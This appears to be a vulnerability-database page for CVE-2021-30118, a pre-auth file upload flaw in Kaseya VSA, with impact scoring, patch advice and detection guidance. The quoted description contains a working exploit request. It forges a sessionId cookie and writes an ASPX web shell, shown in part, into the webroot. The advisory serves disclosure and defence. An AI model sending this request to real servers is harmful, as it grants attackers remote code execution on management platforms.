Vulnerability record · CVE-2021-30118 · published 9 July 2021
CVE-2021-30118: Kaseya VSA unauthenticated arbitrary file upload leading to RCE
Kaseya · Vsa
Kaseya VSA Unified RMM 9.5.4.2149 exposes /SystemTab/uploader.aspx, which accepts file uploads without validating the sessionId cookie, so any numeric value passes as authentication. An attacker controls both the filename (qqfile) and destination path (PathData), allowing arbitrary content to be written anywhere the web server process has write access, including the webroot. This is a critical pre-auth remote code execution flaw in a remote management platform.
Description
An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands. Detailed description --- Given the following request: ``` POST /SystemTab/uploader.aspx?Filename=shellz.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=shellz.aspx HTTP/1.1 Host: 192.168.1.194 Cookie: sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length: 12 <%@ Page Language="C#" Debug="true" validateRequest="false" %> <%@ Import namespace="System.Web.UI.WebControls" %> <%@ Import namespace="System.Diagnostics" %> <%@ Import namespace="System.IO" %> <%@ Import namespace="System" %> <%@ Import namespace="System.Data" %> <%@ Import namespace="System.Data.SqlClient" %> <%@ Import namespace="System.Security.AccessControl" %> <%@ Import namespace="System.Security.Principal" %> <%@ Import namespace="System.Collections.Generic" %> <%@ Import namespace="System.Collections" %> <script runat="server"> private const string password = "pass"; // The password ( pass ) private const string style = "dark"; // The style ( light / dark ) protected void Page_Load(object sender, EventArgs e) { //this.Remote(password); this.Login(password); this.Style(); this.ServerInfo(); <snip> ``` The attacker can control the name of the file written via the qqfile parameter and the location of the file written via the PathData parameter. Even though the call requires that a sessionId cookie is passed we have determined that the sessionId is not actually validated and any numeric value is accepted as valid. Security issues discovered --- * a sessionId cookie is required by /SystemTab/uploader.aspx, but is not actually validated, allowing an attacker to bypass authentication * /SystemTab/uploader.aspx allows an attacker to create a file with arbitrary content in any place the webserver has write access * The web server process has write access to the webroot where the attacker can execute it by requesting the URL of the newly created file. Impact --- This arbitrary file upload allows an attacker to place files of his own choosing on any location on the hard drive of the server the webserver process has access to, including (but not limited to) the webroot. If the attacker uploads files with code to the webroot (e.g. aspx code) he can then execute this code in the context of the webserver to breach either the integrity, confidentiality, or availability of the system or to steal credentials of other users. In other words, this can lead to a full system compromise.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Automated analysis
critical priorityUnauthenticated network-accessible arbitrary file upload leading to remote code execution with CVSS 9.8 and very high EPSS.
What it is
Kaseya VSA Unified RMM 9.5.4.2149 exposes /SystemTab/uploader.aspx, which accepts file uploads without validating the sessionId cookie, so any numeric value passes as authentication. An attacker controls both the filename (qqfile) and destination path (PathData), allowing arbitrary content to be written anywhere the web server process has write access, including the webroot. This is a critical pre-auth remote code execution flaw in a remote management platform.
Impact
An attacker can write and execute ASP/ASPX code in the web server context, leading to full system compromise, including theft of credentials of other users and loss of confidentiality, integrity and availability.
Attack surface
Reachable over the network via HTTP POST to /SystemTab/uploader.aspx; no valid authentication is required because the sessionId cookie is not validated, and no user interaction is needed.
Exploitation
Not listed in CISA KEV and no ransomware associations are documented, but EPSS is very high (0.60348, ~99th percentile) and a public exploit reference is tagged, indicating active interest and likely weaponization.
What to do
- Upgrade Kaseya VSA to the fixed 9.5.5 release or later as referenced in the vendor release notes.
- If immediate patching is not possible, restrict network access to the VSA web interface to trusted management networks and block external exposure of /SystemTab/uploader.aspx.
- Enforce proper session validation and authentication on upload endpoints; do not rely on client-supplied sessionId values.
- Remove or disable unnecessary upload functionality and ensure the web server process has minimal write permissions outside required directories.
- Monitor and audit the VSA webroot for unexpected ASP/ASPX files and remove any unauthorized files.
Detection
- Monitor web server logs for POST requests to /SystemTab/uploader.aspx, especially with qqfile or PathData parameters.
- Alert on creation of new .asp or .aspx files in the Kaseya webroot or other writable directories.
- Detect suspicious child processes spawned by the VSA web server process (w3wp.exe) such as cmd.exe or powershell.exe.
- Review VSA audit logs for uploads with unusual filenames or paths and for requests using arbitrary numeric sessionId cookies.
This assessment is produced automatically and is not human-reviewed. Verify against the vendor advisory before acting on it.
Affected products
1 vulnerable configurations from NVD's CPE data, grouped by vendor and product.
References
| Link | Tags |
|---|---|
| https://csirt.divd.nl/2021/07/07/Kaseya-Limited-Disclosure/ | PatchThird Party Advisory |
| https://csirt.divd.nl/CVE-2021-30118 | ExploitThird Party Advisory |
| https://csirt.divd.nl/DIVD-2021-00011 | PatchThird Party Advisory |
| https://helpdesk.kaseya.com/hc/en-gb/articles/360019054377-9-5-5-Feature-Release-10-April-2021 | Release NotesVendor Advisory |
| https://csirt.divd.nl/2021/07/07/Kaseya-Limited-Disclosure/ | PatchThird Party Advisory |
| https://csirt.divd.nl/CVE-2021-30118 | ExploitThird Party Advisory |
| https://csirt.divd.nl/DIVD-2021-00011 | PatchThird Party Advisory |
| https://helpdesk.kaseya.com/hc/en-gb/articles/360019054377-9-5-5-Feature-Release-10-April-2021 | Release NotesVendor Advisory |
Track CVE-2021-30118 inside VULONE
Watch it alongside the ransomware crews, C2 infrastructure and forum chatter that reference it, query it through the API and pull it into your SIEM over TAXII.
Related vulnerabilities
Same products first, then exploited flaws of the same weakness class.
Source: NIST National Vulnerability Database (record CVE-2021-30118), CISA KEV, FIRST EPSS (scores of 2026-09-26). This page is refreshed as NVD updates the record.